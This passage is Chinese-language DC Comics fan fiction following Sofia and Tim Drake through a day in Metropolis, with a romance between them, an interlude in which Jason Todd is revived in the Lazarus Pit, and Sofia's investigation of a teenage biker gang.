提姆双手撑起原本压在索菲亚身上的身体坐了起来，保持和索非亚面对面的姿势，黑色和蓝色的眼睛无数次交汇，只有在只有两人存在的安静时刻，索菲亚看懂了少年眼睛里无法压抑的愉悦，以及一些格外温和的如同冬日阳光又像是哥谭夜里柔和的月光的情感。 索菲亚不知道自己的眼睛是什么样的，但提姆大概率并不讨厌，他那双堪比无价之宝的蓝眼睛看了许久，却迟迟不愿意移开视线。 接下来便爆发出来一阵笑声，索菲亚只觉得好笑，两个天天在哥谭飞檐走壁的蒙面怪人却在大都会的小巷子里玩滑板摔了一大跤，不亚于布鲁斯出门被新手绑匪绑架的含金量，提姆也跟着笑，那双蓝眼睛里却还是带着月光一样的柔和和关切。 此时，距离两人发现离停机车的位置已经过了快三公里的距离，不得不顶着太阳回去找车还差十分钟。 第63章 大都会在社交平台上给人的印象就和代表其城市形象的超级英雄超人一样, 阳光、开放、友善，这些关键词深深的镌刻在这座城市的每个角落，以至于大家的刻板印象里大都会除去晴天几乎没有其他天气, 偶尔看到当地人拍摄的雨天的画面总是会收到类似于“哇塞，大都会还会下雨啊”的评论。 同样的刻板印象自然出现在哥谭身上，在社交平台上这座城市似乎从没结束过连绵不断的阴雨天气, 以至于大多数人都忘记了哥谭和大都会之间最多只有一个小时的车程, 却仿佛一个坐落在沙漠里常年干旱，另一个身处大洋彼岸的伦敦一般。 比如在刚出门的时候大都会还是一个凉爽的阴天，至少在索菲亚和提姆一起玩滑板的时候还是体感温度还很舒适，但不到一个小时, 被乌云所遮挡的太阳再次探出了头, 兢兢业业的散发出多余的热量让走在室外的每个人都在体验汗如雨下的同时露出痛苦面具。 虽然说打车回去也可以, 但至少要先离开这段狭窄的小巷走到大路上去。 烈日当头晒的人格外烦躁，近乎垂直的角度让两侧的倒影几乎在这片区域销声匿迹，只能让人硬着头皮在街巷里穿梭, 好在提姆知道一条能快速出去的路, 缩短了被暴晒的痛苦。 玩滑板的时候少年实在腾不出手放脱下来的外套, 干脆将外套袖子绑在腰上，好在提姆没有在口袋里塞零碎小东西的习惯, 不然就靠这一番剧烈运动, 足够两个人拐回去撅着屁股捡一路随地掉落的时尚小垃圾。 随着温度的升高, 提姆白皙的皮肤上渗出一层薄薄的汗珠, 脖颈处的位置被晒得通红，连带着脸颊和耳朵也随着温度变化而变红。索菲亚滑着滑板不紧不慢的跟在少年身后, 随时注意着少年的动作, 生怕三十度的高温把自己看起来不太壮硕的好同桌带走。 “你要是不舒服可以告诉我, 我不急着走的。”索菲亚略微提高了声音，语气里听不出一丝不适。 “我一直很奇怪，索菲亚你为什么总会觉得我会很柔弱呢？”少年的嗓音被一阵微风吹来。 “我认识的很多人，大家的体格都是很壮硕的，嗯，比如林肯，和他一起出门光是从体格看我俩什么都不带去穿越撒哈拉沙漠，我都不会担心他的身体状况。” “我觉得我的身体素质还不错，你也见过我工作时候的样子。” “可是上次我们一起夜巡，你在制服完那些打手后一直在喘气，虽然你有在克制。” “难道你？哦对，你确实不会，之前你和利爪打成那个样子都没什么太大的反应。”少年听起来格外无奈“好吧，下次我会和B提加强我的体能训练的。” “所以你现在真的不要休息吗？你看起来要熟了。” “暂时不用。”少年一个刹车停了下来，从滑板上跳了下来“我们到了。” 映入眼帘的除去车水马龙的十字路口，那家画着奶茶杯子和小人的店铺就这样出现在两人眼前。 “索菲亚，你要喝点什么？” 索菲亚看着在烈日下依旧能够排成长队的人群缓缓打出了一个问号。 啊？ 这么热门吗？ 好消息是这家来自中国的奶茶店还没有热门到能和之前的正义联盟正版授权超人周边首发时的盛况一较高下的地步，据说发售的店铺在前一天晚上就有人带着帐篷夜排。 等到了公告上宣布正式开售的早上八点时，等待的人群连绵不断一眼望不到头，更别提大家互相利用肢体安抚彼此的精彩武打画面，让难得放假的小记者不得不变身成超人来维护秩序，还给了那位过分聪明绝顶的莱克斯卢瑟在电视上抨击民众对于心思深沉意图侵略地球的外星人盲目崇拜的机会。 在蝙蝠侠的记录的画面里，那位超人对此颇为伤心，连额前的小卷毛都无力的垂了下来。 用手机在小程序上点好了心心念念的三倍厚抹，索菲亚踮起脚尖去看提姆的手机点了什么，就发现对方选了这家一直以来的招牌黑糖珍珠牛乳茶。 排队的人大多还是些黑发黑眼的东亚面孔，大多数都是来自中国的留学生，站在索菲亚身后排队的中国姑娘戳了戳索菲亚的胳膊，露出一个笑脸。 “你好啊姐妹，你是哪里人？” 说来惭愧，索菲亚从小在美国长大，能够完全掌握的语言只有英语一种，但要论及其他语言比如越南语和普通话，都处于一个能够听懂但不会说的地步，以至于突然面对超过十年都没听过的普通话，大脑都瞬间停转了一下。 “抱歉，我不会说中文，但我可以理解你在说什么。” 那个女孩露出恍然大悟的表情，从随身携带的挎包里拿出一包写着中文的零食塞给索菲亚。 “对不起对不起，我身边留子太多了我以为你也是来美国上学的，实在不好意思。” 一些新奇的不在索菲亚语料库里的词语让索菲亚更加迷惑，这种熟悉但是听不懂的感觉有些陌生，但索菲亚还是强装镇定点了点头表示理解。 其实完全没理解。 好在这家店出餐速度算快，没等多久索菲亚就拿到在社媒上大火的那杯抹茶饮料，看着周围大家三三两两聚在一起拍照的画面，索菲亚扯了扯提姆的袖子，对着少年摇了摇手里的杯子。 “拍照拍照，快来。” 两只杯子被摆在一起刻意露出了标签，索菲亚用另一只手拿着手机比划了半天对着相框里格外扭曲的构图停止了思考。 说坏吧，好歹这两杯奶茶都拍进去了，图片没有模糊也没有很黑。 说好吧，但怎么都看不出来是张好看照片。 还是提姆看不下去接过索菲亚的手机，调整参数后随手一拍，便是比索菲亚的那些大作不管是质感还是氛围都好的多的照片。 “这一杯敬你，大摄影师，考虑毕业之后以此谋生吗？” “如果我能顺利毕业的话。”提姆举起手里那杯沉淀着诱人的Q弹珍珠的琥珀色的牛乳茶和索菲亚完成碰杯动作，收回手的时候手指还沾染上附着在塑料杯上因为温差而不断流下的冰水。 非常浓厚的抹茶带着属于茶香的略微苦涩感，配合牛奶的味道交织在一起显得格外复杂，再加上层洒满的抹茶粉的味道，有点超出索菲亚的认知，但好在奶盖还蛮好吃的。 但除此以外，对于完全嗜甜吃不了一点苦的索菲亚来说简直是灾难。 “我们先回车上再去其他地方？”提姆恰到好处的提出了建议，索菲亚立马点头将那杯完全不在食谱范围的饮料塞回了外带的塑料袋里。 两人走在街道上，属于人类社会的热闹但算不上嘈杂的声音如同白噪音一样让人格外平静，熬过了最热的那段时间在多云的气候下city walk让索菲亚完全忘记了之前的那些不快。 法庭，利爪，莫名其妙失去的几十年的时光，这些事或许曾经重要，但是在蓝天白云微风拂过的此刻，都成了在空气中漂浮着就会自动破掉的气泡一样，从今以后不再重要。 抹茶苦涩的味道依旧在舌尖泛滥，索菲亚侧头看向提姆，少年大概率被珍珠的口感吸引到了，喝了一口后就一直在嘴里嚼嚼嚼个不停。 “你那杯很好喝吗？”索菲亚终于出声。 “还好，有点甜但我可以接受，配阿福的小甜饼应该很棒。”少年回答道，臂弯间还抱着被索菲亚作为礼物送出的那块滑板，版面上那只黑色的小蝙蝠圆滚滚的样子和现在少年难得鼓着腮帮子嚼嚼嚼的画面奇怪的重合在了一起。 “我也想尝。”索菲亚的视线从蝙蝠转移到少年身上，最后定格在对方被饮料浸的湿润而柔软的嘴唇上。 提姆停了下来侧头挑眉，嘴角的弧度都藏不住笑意“好啊，那我也要喝你那杯。” 得到了允许的索非亚一把抓住提姆t恤的领口用力将少年往自己的方向拉了过来，再次和那双蓝色的曾经透露出理性智慧如今全都是笑意的眼睛对上视线，在过分接近的能够感受到双方呼吸时的气流的距离中，索菲亚明白了提姆此刻给出的答案。 两片嘴唇紧紧贴在一起，分不清是谁的舌头先撬开了嘴唇，也不知道体温在什么时候上升到让人意识模糊的程度，只知道舌尖轻触间，那种如同被羽毛扫过带来的难耐的发自心脏的痒意袭击了全身。 提姆身上那股一向清爽的海盐的气味几乎难以嗅到，夹杂着淡淡的汗水气息，新买滑板上的橡胶的味道，让嗅觉近乎失灵。 味觉上，来自黑糖被烤制后混合着牛奶的甜蜜在口腔中蔓延，冲淡了一直弥漫在少女唇瓣上那股带着苦涩的抹茶的味道，甜蜜和苦涩交织在一起，索菲亚的大脑短时间内被快速分泌的激素所冲击，过去几十年人生中从未体会到的欢愉感让人沉醉其中，无法自拔。 “喜欢吗？”分开时，提姆的嗓音有些沙哑。 “当然。”索菲亚顾不上那杯不讨人喜欢的饮料，环抱着为她带来快乐的少年，将脸又凑了过去“还要。” 两人拥抱着靠在墙边还没来得及平缓过于急促的呼吸，便在下一次眼神交流下，无法自控地吻在了一起。 第64章 两个人再次分开的时候, 身上都是黏黏乎乎的，在夏日的室外互相拥抱就注定要承受高温和汗水的攻击，何况是接吻这种本身就容易消耗体力的激情活动呢？ “我要喝你那杯, 抹茶有点苦我不喜欢。”索菲亚自然的把手上那杯绿色的奶茶给了提姆。 “你来试试。”少年接过索菲亚那杯饮料，尝试着对着吸管喝了一口“还不错？不过，我理解你的口味了。” “我就是不喜欢有一点苦味嘛。” “那接下来我们去做什么？吃午饭吗？” 很好, 提姆已经被饭桶强化了甚至学会了抢答。 于是接下来两个人激情的吃吃吃, 在分别坐落在大都会东西南北的热门餐厅埋头苦吃，提姆负责埋头拍照，索菲亚负责苦吃。 如果真的要说的话，在大都会遇到熟人的概率有点太高了, 至少对提姆来讲是这样的。 比如, 在吃巴基斯坦菜的时候, 两人刚刚进入餐厅就看到了那位身材高大戴着黑框眼镜的记者朋友克拉克和他知性美丽的妻子露易丝，以及非常可爱的小鼻噶儿子乔纳森。 打过招呼后，索菲亚和提姆到了预定的座位上开始点想了好久的辣咖喱套餐, 等待间隙索菲亚低头在提姆耳边低语。 “我以为超人不用吃饭呢？” “实际上克拉克不仅喜欢美食, 自己做饭也是一把好手。”提姆同样低着头“有没有一个可能, 他能听到我们说什么。” 索菲亚闻言抬头，就看到了正在朝他们微笑的超人.日常版。 “所以克拉克有儿子吗？我只知道他结婚了。” “除了乔纳森之外其实还有一个孩子康纳, 康纳是我们课外兴趣小组的成员, 只不过平时住在堪萨斯。” “你什么时候背着我去的课外小组？美式霸凌吗？所有人都被邀请了除了我是吗？”索菲亚瞪大了眼睛, 但手上拿起卷饼在橘红色的蔓延着复杂香料味道的咖喱汤汁里沾上一点咬了下去“好吃, 是完全不一样的感觉。” “我还没来得及问你呢？”提姆用勺子盛出一大勺咖喱浇在饼上递给索菲亚“那你要加入我们吗？” “我不去。”索菲亚嚼着嘴里带着彩椒味道的炖的软烂的牛肉坚定地拒绝了提姆的邀请“猎魔人自己工作。” “你知道上一个说自己一个人工作的人不仅加入了好几个组织，现在连学生兼儿子都可以凑一桌大富翁了对吧？” 安静了片刻, 两个人捏着手里的饼子笑了出来。 而在两人后面几桌的小记者也憋着笑, 却还用勺子为乔纳森夹菜, 并贴心的把米饭和炖菜搅拌均匀方便乔纳森食用。 “怎么了爸爸？” “没什么，我只是想到了开心的事。” “是什么事啊？能告诉我吗？” “我的好朋友，说他自己一个人工作，噗。” 只留下迷惑的乔纳森看着行为举止奇怪的爸爸。 肯特一家本身来的就早，离开的时间也比索菲亚这一桌快了不少，离开前克拉克还来打了招呼才离开。 至少这一餐两人都没吃太多，如果要找原因只能是用料过于扎实的Heytea的错了，一杯下去几乎赶得上空口吃三碗饭。 “还要吃吗？” 正在用纸巾擦嘴的索菲亚摇了摇头，摄入过量碳水的结果就是脑子此刻一片空白，被压制已久的困意一股脑涌了上来。 “我好困，你不困吗？” 接下来的事索菲亚都没了印象，只记得似乎在什么人的臂弯里睡了下去，完全不顾对方的死活。 等待再睁眼的时候，索菲亚整个人全部被柔软的织物所淹没，过于舒适的环境让索菲亚忍不住再闭上眼睡个回笼觉。 此时，在这个房间外响起“哒哒哒”声音格外清脆，索菲亚竖起耳朵听了一会儿就知道是敲击键盘的声音，这声音持续了很久，大多数时候非常连贯保持稳定的频率敲击，偶尔便会停下片刻后就会响起陶瓷杯子被放置在桌面上的碰撞声。 这声音算不上大，能感受到对方正竭力不让自己的行为打扰到索菲亚的休息。 过了一会儿，便是一阵脚步声，不过不是朝着索菲亚的方向而来，而是顺着另一个方向走去，然后停了下来。接下来是一阵略带嘈杂的机械运转声，那股特殊的带着香气的咖啡味道便顺着没关紧的房门钻进了索菲亚的房间内。 索菲亚想爬起来找提姆打个招呼，但又懒得睁眼，干脆继续听房间外细碎的动静想着再休息一会就起来，没想到就这样在弥漫着咖啡香气和键盘敲击声的房间里再次昏昏沉沉失去了意识。 等到再恢复意识，就闻到了一股类似骨汤但绝对诱人的味道促使索菲亚挣扎着从床上爬起来。 等出了自己睡觉的那个房间，索菲亚才意识到自己还没回到哥谭，完全黑白灰配色的性冷淡风的客厅里几乎看不到太多装饰，水吧的位置放着台看起来就贵的要死的咖啡机，睡梦里出现的咖啡味道大概率来源于此。而在靠近落地窗位置的大桌子上，还放着提姆没来得及合上的电脑。 而电脑的主人刚刚接过外卖，正提着外卖袋子向餐厅走来。 “你醒了？我刚要叫你起来吃饭。” “这是哪家？闻起来好香。”索菲亚两步挤到了提姆身边，将脑袋放在了少年的肩膀上。 “至少让我先把东西放下吧。”提姆拆开包装盒，把塑料制品内带着浓厚香味的食物一一展现了出来“幸好你想去的那家餐厅支持外卖，不然我都不知道怎么叫醒你。” 索菲亚嘿嘿一笑，拿脑袋在少年的颈侧蹭了蹭才放开。 “如果是去吃好吃的，不管什么时候只要你叫，我就会醒。” 落地窗外，天已经完全黑了下来，但是灯火通明的高楼建筑完全打破了白天与黑夜的界限，那些过分夸张的灯光甚至比白日里还要更加夺目。 只是从周围林立的大厦就能够猜到两个人此刻还在大都会，至少带着卢瑟标志的那座大楼在一众建筑中也格外显眼，如果在哥谭市中心的酒店那能看到的就只有韦恩集团了。 “这里是布鲁斯其他房产吗？” “这里是最近的一套。”提姆掀开盖子，拿出袋子里的一次性筷子，交叉摩擦打磨掉可能出现的毛刺递给索菲亚“他在大都会郊区还有一座度假别墅，只不过常年空置着。” “布鲁斯好像是什么喜欢打洞的兔子，不管在哪里都喜欢留几个洞。”索菲亚捧起碗喝了一口汤。 “一般都是基于理财手段才购置的房产，如果是需要使用的安全屋，反而会隐蔽很多，不过我以为这应该是义警必修课？” “你可能不理解，猎魔人都是些穷光蛋，只要不流落街头做homeless就算成功。”索菲亚低头嗦粉的空余，用筷子夹起一片薄荷放在嘴里咀嚼“我之后还得想办法赚钱呢，之前全靠打劫黑市里的蛇头和利爪黑吃黑，本来吃饭和付房租肯定是够了，但是布鲁斯那辆机车好酷，我也想给自己换装备。” “你有大概的想法吗？”提姆学着索菲亚的动作端起碗喝汤，被烫到了舌头，但还是装作若无其事的放下了汤碗。 “《最终幻想7》里克劳德的芬里尔，我之前看动画就觉得帅的要命，机车加变形还能放多种武器，酷死了。”索菲亚放下筷子在空中比划“感觉有了这车，去杀那些在街上随便挑人吃自助的吸血鬼都有劲了许多。” “考虑和B合作处理猎魔工作怎么样？据我所知，不光是正义联盟，偏魔法侧的黑暗正义联盟也是韦恩负责资助的。”提姆举起马克杯认真的思考着对策“如果让我再做几年总裁，我或许能从账上划出来一辆罗宾车，我已经知道公司宣布资助正义联盟前B是怎样在账目上做手脚来掩盖夜间行动的巨额花销了，但是现在的话，我实在是爱莫能助。” “想要天使投资的话，那我是不是得交点有用的东西给他啊。” 躺在沙发上的索菲亚抱着抱枕左右打滚，本就因为睡觉松散的马尾彻底散开铺在黑色的皮质沙发上。 “啊！我不要写报告，就不能让蝙蝠侠直接学会脑电波交流知道猎魔人内部的信息吗？” “那很可怕了，估计迪克再也不想回家了。” 少年站了起来把垃圾收好装在袋子里，顺手带到了靠近门口的位置。 “不过，你不是有本记录猎魔资料的笔记本吗？直接把那个给B看呢？” “我不想写，字数好多，东西好麻烦，为什么一定要手写笔记。” 索菲亚的声音从抱枕中挤了出来满是不情愿的情绪。 “我以前就不理解为什么带我的前辈都喜欢手写笔记而不是用电子版，还要自己手绘画图，大家都不累吗？” 提姆经过坐在索菲亚空出来的半截沙发上，低头如同蜻蜓点水般在少女的脸颊上亲了一下。 “还要，还要亲。”索菲亚翻过身像是海豹一样撑起上半身，活力四射的用嘴唇在提姆的脸上随机盖戳啵啵乱亲。 “好了好同桌，工作去吧。” 在沙发上无所事事的发呆确实不是什么打发时间的好办法，索菲亚撑起脑袋看提姆在电脑上敲敲打打。 “你在干嘛啊提米？工作这么多吗？” “公司的工作我提前做完了，下午再处理夜间行动的报告，现在的话算是提前开始计划。” “计划什么啊？” “高中课程选课规划，还要算好学分，高中的话我打算还是继续选西语，选修课的话我对电影有点兴趣，不过我家里对我的规划一直是进商学院，AP课程里的经济课也要计算进去。” “啊？” 索菲亚停止了思考。 第65章 一望无垠的沙漠上空, 万里无云，月光在连绵不断的风沙下显得格外凛冽，失去了云层的遮挡, 白日里烤炉一样的沙丘完全无法留住热量，等到太阳完全消失在地平线后，只剩下一片荒凉。 在这片位于阿拉伯半岛上的沙漠下方, 隐藏着人类文明最伟大的奇迹, 只存在于圣经中的能够使亡者重返于世间逃脱死神追捕的神秘之地——拉撒路之池。大多数俗人只认为那些奇迹不过是为了传播信仰而编造的故事，但是今天的客人却比任何人都清楚属于神明恩赐的池水的神奇。 刺客联盟是这片死亡之地的唯一主人，几乎每个中东国家的政要名流都知晓刺客大师拉尔斯·艾尔·古尔的威名，没人知道这个男人什么时候来到了这片土地成为了无冕之主, 也没人知道这个男人到底活了多久。即便如此, 每个含着金汤匙长大的天之骄子都知道这片土地最为重要的禁忌, 那就是永远不要与刺客联盟为敌。 刺客A在进入联盟前，是越南当地有名的越武道天才，这种通过模仿动物的象形动作, 以拳、脚、肘、膝为核心并配合摔法、关节技、地面缠斗的战斗方式在亚洲颇具特色, 而A在十八岁就拿到了越武道领域的最高奖项, 如果不出意外他会和自己的父亲一样在武馆里教授学生学习这项武艺，直到生命尽头。 就在这时, 恶魔之首出现了。 A引以为傲的越武道在这个神秘莫测的男人面前毫无招架之力, 只不过两个回合的短暂过招, A就从男人身上看出了来自于不同国家之间的武术, 而那个将这些技术融会贯通的男人甚至连百分之，不, 千分之一的力都没用到。 真正体验到与强者过招快感的A放弃了在越南的一切, 财产、武馆、妻女, 这些世俗意义上的重要之物在真正的武艺面前完全不值一提，完全被强者征服的男人仿佛回到了那个被父亲牵着手第一次练习武艺的下午，刹那间他理解了古龙里为了变强抛妻弃子的绝世高手西门吹雪，倒不如说力量，才是贯彻A人生中最该追求的东西。 无视妻子小声地啜泣和女儿哽咽的哭声，A撕掉了过去获得的所有荣誉，将阮文雄这个名字永远的留在了越南，作为刺客大师的门徒来到了这座沙漠中的王国。 只可惜像A这样的天才在刺客联盟简直比天上的星星，地上的沙子还要多，比如那位身形诡异战无不胜的西瓦女士，由刺客大师亲手传授武艺的塔利亚，比A的女儿还要小两岁但已经能够杀死自己武术老师的少主达米安。再比如，现在正跟在自己身后来观摩奇迹发生，带着猫头鹰面具的，动作中几乎没有发出一点声音的男人。 A听说了发生在哥谭的属于猫头鹰法庭的丑事，据说这个将哥谭完全把控在手心的组织同样喜欢打扮成猫头鹰的模样，甚至还传出一首装模作样的可笑童谣企图利用恐惧统治那座充满罪恶和不幸的城市。结果当然是，位于地下的法庭被完全连根拔起扔在了烈日之下暴晒，而传说中那些不可一世的成员大多数的下场也只有阿卡姆和黑门监狱二选一了。 “你可以回去了。”男人的语气并不客气，甚至自顾自的将自己放在了A的主人的位置，满是傲慢。 “你——” “够了，出去。”恶魔之首威严的声音响彻在山洞中，。 A自知踢了铁板，根据主人的命令低下头快速离开，却后知后觉的感受到一股刺痛从胸口蔓延开来，黑色的带有民族特色的练功服的颜色愈发的深沉，男人低下头就看到了穿透他胸膛的那把自己从未见过的长刀，还没来得及质问，鲜血便顺着食道逆流而上，一滴滴的落在人工雕刻的石阶之上。 □□倒地的声音并没有让站在山洞中的人们有丝毫分神，毕竟一个只是死掉了一个再普通不过的随时可以被替换掉的侍从，比起眼前即将诞生的奇迹，即使是猫头鹰打扮的男人也颇有兴趣。 “我从法庭手里拿到了遗落在哥谭的琥珀金，不过对你来说可能还没眼前这个小孩重要。” 男人抬起头，透过面具上透明的护目镜将那具在绿色池水中缓缓下沉的少年的尸体深深的刻在记忆中。 “这孩子很重要吗？他是那些老爷们的孩子？他父亲是谁？总统？国王？教皇？” “那些家伙还不配享有拉撒路的恩泽。”和沙漠中的夜风一样锋利的女人打断了男人的话“放尊重些，阿尔伯特。” “这个男孩曾经是我的学生的门徒，那是个拥有凡人无法比拟的智慧和意志的男人，我曾想让他继承我的衣钵，成为联盟的下一任主人。” “他咬了你一口然后逃走了。”阿尔伯特漫不经心的拨弄着战术手套上的利爪“只可惜我走的太早了，我倒是很期待和蝙蝠侠对上，我还蛮喜欢《致命玩笑》的。” 年长者无视了猫头鹰的僭越继续讲述着。 “这只小鸟被哥谭的丑角打断了身体每根骨头，最后死于一场可笑的爆炸，为此蝙蝠侠险些跨过那条底线，那条可笑的作茧自缚的不杀原则让自己的双手沾染上鲜血。而如今，我会用拉撒路的力量将这个幼小的充满愤怒的灵魂重新拉回世间，对于侦探来说这是一个礼物，也是一份诅咒。” “那我要做什么？观摩死去的小孩被重新分娩来到世间为他洗礼吗？” “他需要一个导师，一个能够让他从蝙蝠侠的原则中挣脱出来的导师，我选定了你。”拉尔斯终于转过身直视着夸张的面具下那双金色的眼睛“别让我失望，牧首。” 阿尔伯特没有回答，只是看着原本被死亡的阴影所笼罩，全身缠着绷带的尸体在泉水的浸泡下，如同银河爆炸般涌出无限的生机，尘封已久的疼痛席卷着这具身体，断裂的骨头在泉水的干涉下被动的修复，干涸的声带振颤着发出还未来得及变声就死去的孩子的刺耳尖叫声。 男人嫌弃的拿手套捂住了耳朵，一转头就看到了原本站在塔利亚身后的，板着一张还带着婴儿肥的脸的联盟继承人达米安，男孩那双绿色的如同野狼野狼一样的眼睛和阿尔伯特在空中对视，随后两人默契的移开了视线，只留下那只死而复生的知更鸟还在水池中哀嚎。 ———————————————— 索菲亚在离开大都会的时候，终于过了把骑机车带人的瘾。 机车算不上重，保持平衡对于常年玩钩爪枪的选手来讲简直易如反掌，唯一需要注意的只有控制速度。刚刚潇洒的跨上车的索菲亚还没来得及招呼小男朋友上车，一个油门下去险些冲进花坛里，好在及时松开了油门才没因为这种小事在脸上挂彩。 因而当提姆还愿意坐在索菲亚车后时，留给索菲亚的只有无限的感动。 “谢谢你这么信任我提米，要是出了车祸我一定会顾你周全。” 提姆用手将索菲亚向后扭的脑袋重新摆正。 “看路，我不想因为你不看路出现事故摔成骨折，尤其是我们还在大都会，这里到处都是氪星人，一旦出了事上到正联，下到少年正义联盟就连地缝里的蟑螂都会知道。” “你要相信我的车技嘛。” 索菲亚戴好头盔，将后视镜调整到合适的位置一拧油门窜了出去，好在骑进花坛的事故没有复刻，也算是保住了两个人最后的颜面。 按照原本的计划，两人应该当天就回哥谭并参加夜巡，但碍于索菲亚当天几乎像是被打到昏迷一样过硬的睡眠质量，一向坚持全勤夜巡的罗宾终于获得了人生中第一次旷工，好在阿卡姆没有选择在那个夜里举办行业技术交流大会，通过爆炸的形式为哥谭送来庆祝即将入秋的第一场烟花。 提姆倒是趁难得的假期把搁置已久的工作都处理了一遍，甚至还制定了那份让人完全头大的涉及到大学专业选择的选课计划，两眼一摸黑的索菲亚看了许久选择继续睡下。 晚安，选课计划。 晚安，小罗宾鸟。 晚安，玛卡巴卡。 等到索菲亚醒来，就看到了提姆已经做了好几个版本的针对索菲亚难以入目的学习状况做成的选课表，上到科学研究最前端，下到体育特长大学录取计划，前可探索宇宙银河，后可研究地球几亿年的演化进程。 索菲亚不敢相信的闭上眼，又再次睁开还是没能等到这些东西在眼前消失的画面，金色的眼睛和大脑联通，任何人都能看到清澈的空无一物的完全没有被知识污染过的大脑。 在提姆那双蓝眼睛的注视下，索菲亚苦思冥想后，最终选择了最轻松的那份。 人，不要为难自己，必要的时候，可以放自己一马。 (￣??) 于是在得到充足的休息后，两人吃过早饭就骑车回了哥谭。 进城的时候午休的时间将要结束，如果去韦恩庄园还车，大概率已经过了饭点，还要麻烦阿福额外准备食物，多多少少让索菲亚心里有些过意不去，和提姆商量后两人决定先找家店解决午饭。 推开店门的那刻，悬挂在门框上的风铃被触碰后发出清脆的声音对来客表示欢迎，索菲亚扫视一圈一眼就看到了背对着自己的坐在轮椅上的熟悉的红发身影，以及坐在红发女性对面的正冲着索菲亚和提姆挥手的迪克。 “你们也来这里吃饭啊。”芭芭拉看了看一前一后的两人露出温和的笑容“有人说缺个吃饭的对象，看来现在不缺了。” “我们也刚来，坐我们这吧提米。”迪克帮忙拉出两张椅子招呼两人坐下。 “所以你们在恋爱吗？” 审视的眼神在索菲亚和提姆身上打转，这是提姆最熟悉的来自同伴的八卦的眼神，而索菲亚的脸上满是自信，和少女多日相处的经验让提姆感到深深的不安，还没来及的捂住情人的嘴，索菲亚的回答便脱口而出。 “当然不啊，我们在偷*情啊。” 在前辈们诧异的眼神里，提姆崩溃的捂住了脸，无言的点了点头。 第66章 和法庭有关的破事几乎尘埃落定, 虽然搞不懂到底是什么人能把法庭高层忽悠到通过报废利爪的形式来获取琥珀金这一决策，但是至少在哥谭不用担心随时会被利爪一边喊着口号一边冲上来和人大战八百回合的情况发生。 所以，作为猎魔人最重要的是什么？ 是清除邪恶吗？是驱除怪物吗？ 不, 是不戴面具。 谁家好猎魔人天天捂着脸cos法外狂徒啊，义警还好天天和罪犯警员这些见过大世面的人打交道，而猎魔人平时工作接触到的大多是些普通人, 谁见了那种夸张面具不害怕啊。 对, 说的就是你，利爪面具。 指指点点.jpg 但是说起面具，哥谭义警的面具真的审美要好得多，至少罗宾平日里常用的能够露出下半张脸的多米诺面具在某些方面真的非常方便, 不管是投喂零食还是亲嘴都非常的便利, 可列入哥谭必吃榜第一名。 索菲亚完全脱离利爪身份后, 也加入了夜巡的工作帮忙处理些琐碎的麻烦事，把路上遇到的罪犯顺手扔进GCPD，比如因为抽不到正义联盟盲盒隐藏款因而持刀抢劫玩具店的劫匪；分别头戴海绵宝宝, 派大星和章鱼哥头套去抢劫银行但因为忘了给头套掏洞选择找义警求助的海洋犯罪团伙；在小巷里企图发生一次性恋爱关系却发现对方是两米高的肌肉壮汉后哭得梨花带雨去GCPD报警的嫖客, 让人直呼类人群星闪耀时, 不愧是哥谭太有希望了。 夜巡结束前汇报工作时，频道里满是大家畅快的笑声, 就连蝙蝠侠都快要绷不住面上的表情嘴角微微上扬。 索菲亚顶着满头问号找搅局者私聊, 才发现哥谭一半的迷惑罪犯都被自己撞上了, 而斯蒂芬妮出道几个月也就和索菲亚组队的时候才能看到这样的乐子。 不是, 这对吗？ 索菲亚痛定思痛，认为这一定是作为猎魔人常年摆烂的惩罚, 决定把搁置已久的猎魔人工作捡起来, 因此在某日饭前特地打开了提姆那份会自动抓取整理论坛信息的文档。 8月1日 先看两集《绝命毒师》再工作, 不要给自己太大压力 8月2日 今天一定看文档，但是先看完这一集《绝命毒师》 8月3日 看剧 8月4日 索菲亚啊索菲亚，你怎么可以这么堕落，还有那么多被怪物折磨的人等待你来拯救呢？你对得起他们吗？ 8月5日 对得起，《小谢尔顿》也好看 一口气看完两部美剧的索菲亚只感到无限的空虚，既没有继续躺着的心情，也没有继续看剧的心情，在沙发上翻来覆去，终于想起来自己是个猎魔人。 打开文档将信息大概浏览一遍，好在堆积的信息虽然多但大多危害性不强，更多的是哥谭市民在论坛上对于一些奇怪事件的吐槽，比如在自己房间听到有老鼠的声音但没有找到老鼠，家里的窗户总是会被莫名其妙的打开，放在门口的外卖总是不翼而飞，等等最后这位朋友你就不能直接从外卖员手里拿外卖吗？ 唯一有点危害性的信息只有几则新闻。 哥谭本地有一支飞车党，每天唯一的乐趣就是骑着被改装过的浑身发光的机车伴随激情DJ舞曲在哥谭的大街小巷穿梭，偶尔还有些涉世未深的成员骑着机车在街上随机挑选对象抢走他们的随身行李以此敛财。但这群潮男潮女大多都是些没成年的小孩，就算被GCPD抓进去进行教育过不了多久，这群骑着随时会散架的摩托四处招摇的年轻人就会重蹈覆辙。 直到其中一位成员在抢劫时，错误地选择了一位刚刚从黑门监狱出狱的帮派成员，被对方带着纹身的手举着枪在脑袋上连射三枪，这支依靠法律漏洞肆意妄为的组织终于踢到了铁板，自此在哥谭人的眼中销声匿迹。 当然，这个青少年团体并非真的消失，而是跑去了哥谭城外一条高速公路上活动，时不时举办些展示技术的高难度比赛，而这也是这些新闻出现的原因。 在半年之内，飞车党内部因为这场危险比赛出现了超过二十起事故，最初只是有成员受伤，随着时间的推移，在三天前出现的连环事故中甚至导致三人死亡，最小的死者不超过十三岁。 而论坛上发布的某条信息为这起事件增添了一丝诡异的色彩。 —————————————————— 今年应该是哥们出生以来最高兴的一年了。 首先哥们拿到了哥谭大学的offer，只等着开学日期的到来就可以拎着行李从家里滚蛋，从此脱离父母的管控进入开启新生活了。 第二，从我拿到驾照后就一直在开我爸的旧车，而我顺利升学后也是终于得到了拥有自己的车的机会，只不过一万刀的预算想买什么全新的用来显摆的豪华跑车是做不到了，但如果退而求其次拿来买摩托，我都能听到我身边那群哥们看到我的新车被馋的叫爸爸也要来上手一把的快乐场面。 叫上那群天天在一起对着蝙蝠侠夜里骑着的蝙蝠摩托馋的流口水，却连摸的机会都没有的狐朋狗友去店里去提那辆预定好的Ninja 400，为了表现对蝙蝠侠的崇拜，我特地选了纯黑色的改色。 买摩托的花销算不上大，一万刀的预算刚花去一半，剩下的钱我还顺手换了ps5和5090的显卡，一时之间我觉得哥谭没有比哥们更快乐的人了。 就在这时，陪我一起提车的人里有个曾经在飞车党混过的家伙提议：“要不要去和飞车党碰一碰，这么牛逼的车可不是轻松就把那帮玩二手改装的甩在屁股后头。” “那叫二手？那得二十手了吧，有的车比我爸年纪都大。” 